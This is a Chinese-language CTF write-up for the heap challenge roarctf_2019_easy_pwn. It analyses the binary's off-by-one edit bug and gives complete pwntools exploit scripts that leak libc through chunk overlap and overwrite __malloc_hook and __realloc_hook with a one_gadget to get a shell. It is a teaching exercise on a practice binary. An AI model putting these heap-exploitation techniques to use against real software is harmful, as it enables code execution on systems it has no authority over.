roarctf_2019_easy_pwn

文章发布时间:

最后更新时间:

文章总字数:
2.1k

预计阅读时间:
10 分钟

这道堆题比较简单 涉及到的知识点以往的文章都有介绍到 但是最后打malloc_hook的时候由于栈不满足onegadget的条件 所用到的realloc_hook的办法值得拿出来说一说

checksec看一下 保护机制全开

1
2
3
4
5
6
7
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/chen/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

ida看一下伪代码

main函数很常规 就基于菜单题实现的堆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-Ch]

sub_AD0(a1, a2, a3);
while ( 1 )
{
menu();
v4 = recv_data(v4);
switch ( v4 )
{
case 1:
create();
break;
case 2:
puts("Tell me the secret about you!!");
edit();
break;
case 3:
delete();
break;
case 4:
show();
break;
case 5:
return 0LL;
default:
puts("Wrong try again!!");
break;
}
}
}

重点抓edit函数和delete函数出来说 另外这题创建chunk用的是calloc函数 创建chunk的时候会清空chunk内容 使其为0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 sub_E82()
{
int v1; // [rsp+Ch] [rbp-14h]
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
unsigned int v4; // [rsp+14h] [rbp-Ch]

printf("index: ");
v2 = recv_data(v1);
v3 = v2;
if ( v2 >= 0 && v2 <= 15 )
{
v2 = *(&chunk_judge + 4 * v2);
if ( v2 == 1 )
{
printf("size: ");
v2 = recv_data(1);
v4 = compare(*(&chunk_size + 4 * v3), v2);
if ( v2 > 0 )
{
printf("content: ");
v2 = recv_data2(chunk_point[2 * v3], v4);
}
}
}
return v2;
}

根据输入的index来索引bss段数组 如果该index有对应的chunk(即chunk_judge判断成功) 则输入size

在edit函数输入的size和create chunk时输入的size二者作为compare函数的参数 跟进看一下用来干什么

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall sub_E26(int a1, unsigned int a2)
{
__int64 result; // rax

if ( a1 > a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return result;
}

当edit_size-create_size=10时 可以供我们多输入一个字节 那么利用四舍五入的机制 就可以做到溢出9个字节

delete函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 sub_F8E()
{
int v0; // eax
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
__int64 v4; // [rsp+10h] [rbp-10h]

printf("index: ");
v0 = recv_data(v3);
v4 = v0;
v2 = v0;
if ( v0 >= 0LL && v0 <= 15LL )
{
v4 = *(&chunk_judge + 4 * v0);
if ( v4 == 1 )
{
*(&chunk_judge + 4 * v0) = 0;
*(&chunk_size + 4 * v0) = 0;
free(chunk_point[2 * v0]);
chunk_point[2 * v2] = 0LL;
}
}
return v4;
}

指针置零了 不存在uaf漏洞

那么合计一下思路 可以利用覆写chunk size来合并chunk 从而获得free_chunk的指针 这样就可以泄露main_arena的真实地址 从而计算处真实地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import*
io = process("./pwn")
#io = remote("node4.buuoj.cn",28013)
context.log_level = "debug"
elf = ELF("./pwn")
libc = ELF("buu16_64.so")

def add(size):
io.recvuntil("choice: ")
io.sendline(b'1')
io.recvuntil("size: ")
io.sendline(str(size))

def edit(index,size,content):
io.recvuntil("choice: ")
io.sendline(b'2')
io.recvuntil("index: ")
io.sendline(str(index))
io.recvuntil("size: ")
io.sendline(str(size))
io.recvuntil("content: ")
io.sendline(content)

def delete(index):
io.recvuntil("choice: ")
io.sendline(b'3')
io.recvuntil("index: ")
io.sendline(str(index))

def show(index):
io.recvuntil("choice: ")
io.sendline(b'4')
io.recvuntil("index: ")
io.sendline(str(index))
io.recvuntil("content: ")

add(0x18)#0
add(0x68)#1
add(0x68)#2
add(0x20)#3
payload = cyclic(0x10+8)+b'\xe1'
edit(0,0x18+10,payload)
delete(1)
add(0x68)#1
show(2)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success(hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7ff4f33beb78-0x7ff4f2ffa000)
success(hex(libc_addr))

这样我们获得了一个free chunk的指针 即chunk2

可以用其修改fd域 从而获得任意地址写的机会 因为libc版本是2.23 所以这里用malloc_hook_attack

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0x68)#4
delete(4)
malloc_hook = libc_addr + libc.sym['__malloc_hook']
edit(2,8,p64(malloc_hook-0x23))
add(0x68)#4
add(0x68)#5
onegadget_addr = libc_addr + 0x4526a
realloc_addr = libc_addr + libc.sym['realloc']
success(hex(malloc_hook))
payload = cyclic(0x13)+p64(onegadget_addr)
edit(5,len(payload),payload)
add(0x10)
io.interactive()

按理来说这道题到这里就结束了 但是你会发现几个onegadget都不行 这是因为onegadget所要求的栈空间并不满足的问题

这时候两种办法 一种是hgame2023的一题中利用到的double free也能触发malloc_hook 详细解释和手法可以去看我对应的wp

还有一种办法是利用realloc来实现 下面详细介绍一下

realloc函数是用于重新分配之前被分配过的chunk空间 其也有realloc_hook 并且也类似于malloc_hook 如果不为0则调用

关键在于两点 一是realloc_hook和malloc_hook相邻 也意味着我们可以同时修改二者

第二点在于realloc调用的时候会进行大量的push操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:00000000000846C0                 public realloc
.text:00000000000846C0 realloc proc near ; CODE XREF: _realloc↑j
.text:00000000000846C0 ; DATA XREF: LOAD:0000000000006BA0↑o ...
.text:00000000000846C0
.text:00000000000846C0 var_60 = qword ptr -60h
.text:00000000000846C0 var_58 = byte ptr -58h
.text:00000000000846C0 var_48 = byte ptr -48h
.text:00000000000846C0
.text:00000000000846C0 ; __unwind {
.text:00000000000846C0 push r15 ; Alternative name is '__libc_realloc'
.text:00000000000846C2 push r14
.text:00000000000846C4 push r13
.text:00000000000846C6 push r12
.text:00000000000846C8 mov r13, rsi
.text:00000000000846CB push rbp
.text:00000000000846CC push rbx
.text:00000000000846CD mov rbx, rdi
.text:00000000000846D0 sub rsp, 38h
.text:00000000000846D4 mov rax, cs:__realloc_hook_ptr
.text:00000000000846DB mov rax, [rax]
.text:00000000000846DE test rax, rax
.text:00000000000846E1 jnz loc_848E8
.text:00000000000846E7 test rsi, rsi
.text:00000000000846EA jnz short loc_846F5
.text:00000000000846EC test rdi, rdi
.text:00000000000846EF jnz loc_84960

所以可以修改我们的栈空间 使其符合条件(如果可以的话)

我们先使用gdb动调看一下 onegadget的条件没有被满足时 对应的栈空间

调试exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import*
io = process("./pwn")
#io = remote("node4.buuoj.cn",25622)
context.log_level = "debug"
elf = ELF("./pwn")
libc = ELF("buu_libc_ubuntu16_64")

def add(size):
io.recvuntil("choice: ")
io.sendline(b'1')
io.recvuntil("size: ")
io.sendline(str(size))

def edit(index,size,content):
io.recvuntil("choice: ")
io.sendline(b'2')
io.recvuntil("index: ")
io.sendline(str(index))
io.recvuntil("size: ")
io.sendline(str(size))
io.recvuntil("content: ")
io.sendline(content)

def delete(index):
io.recvuntil("choice: ")
io.sendline(b'3')
io.recvuntil("index: ")
io.sendline(str(index))

def show(index):
io.recvuntil("choice: ")
io.sendline(b'4')
io.recvuntil("index: ")
io.sendline(str(index))
io.recvuntil("content: ")

add(0x18)#0
add(0x68)#1
add(0x68)#2
add(0x20)#3
payload = cyclic(0x10+8)+b'\xe1'
edit(0,0x18+10,payload)
delete(1)
add(0x68)#1
show(2)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success(hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7ff4f33beb78-0x7ff4f2ffa000)
success(hex(libc_addr))
add(0x68)#4
delete(4)
malloc_hook = libc_addr + libc.sym['__malloc_hook']
edit(2,8,p64(malloc_hook-0x23))
add(0x68)#4
add(0x68)#5
onegadget_addr = libc_addr + 0x4526a
realloc_addr = libc_addr + libc.sym['realloc']
success(hex(malloc_hook))
payload = cyclic(0xb+0x8)+p64(onegadget_addr)
edit(5,len(payload),payload)
gdb.attach(io,'b *$rebase(0xccc)')
add(0x10)

此时断点打在calloc函数调用时 我们一步步s下去

此时进行了一个逻辑与操作 如果rax寄存器的值为0 那么逻辑与的结果为1

而jne指令当ZF零标志为0的时候 则会跳转 此时rax的值是一个地址 所以会执行jne跳转 我们继续跟进

此时call rax 再次跟进

这一步也就是onegadget判断栈结构的关键了 可以看到esp+0x30处并不等于NULL 所以onegadget执行失败

那么为什么我们改良后 通过realloc来调整栈结构的payload是

1
cyclic(0xb)+p64(onegadget_addr)+p64(realloc_addr+2)

我们来看看malloc_hook内存地址附近的情况

可以看到往低地址偏移0x8处是realloc_hook 这也就意味着如果我们按照上面的payload覆写 那么此时程序的执行流程为

因此凭借着readlloc在执行前会进行的push入栈操作 可以实现栈结构调节

不过由于本地和远程以及许多因素 建议还是直接试realloc_addr+x的偏移

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import*
io = process("./pwn")
#io = remote("node4.buuoj.cn",25622)
context.log_level = "debug"
elf = ELF("./pwn")
libc = ELF("buu_libc_ubuntu16_64")

def add(size):
io.recvuntil("choice: ")
io.sendline(b'1')
io.recvuntil("size: ")
io.sendline(str(size))

def edit(index,size,content):
io.recvuntil("choice: ")
io.sendline(b'2')
io.recvuntil("index: ")
io.sendline(str(index))
io.recvuntil("size: ")
io.sendline(str(size))
io.recvuntil("content: ")
io.sendline(content)

def delete(index):
io.recvuntil("choice: ")
io.sendline(b'3')
io.recvuntil("index: ")
io.sendline(str(index))

def show(index):
io.recvuntil("choice: ")
io.sendline(b'4')
io.recvuntil("index: ")
io.sendline(str(index))
io.recvuntil("content: ")

add(0x18)#0
add(0x68)#1
add(0x68)#2
add(0x20)#3
payload = cyclic(0x10+8)+b'\xe1'
edit(0,0x18+10,payload)
delete(1)
add(0x68)#1
show(2)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
success(hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7ff4f33beb78-0x7ff4f2ffa000)
success(hex(libc_addr))
add(0x68)#4
delete(4)
malloc_hook = libc_addr + libc.sym['__malloc_hook']
edit(2,8,p64(malloc_hook-0x23))
add(0x68)#4
add(0x68)#5
onegadget_addr = libc_addr + 0x4526a
realloc_addr = libc_addr + libc.sym['realloc']
success(hex(malloc_hook))
gdb.attach(io)
payload = cyclic(11)+p64(onegadget_addr)+p64(realloc_addr+2)
edit(5,len(payload),payload)
add(0x10)
io.interactive()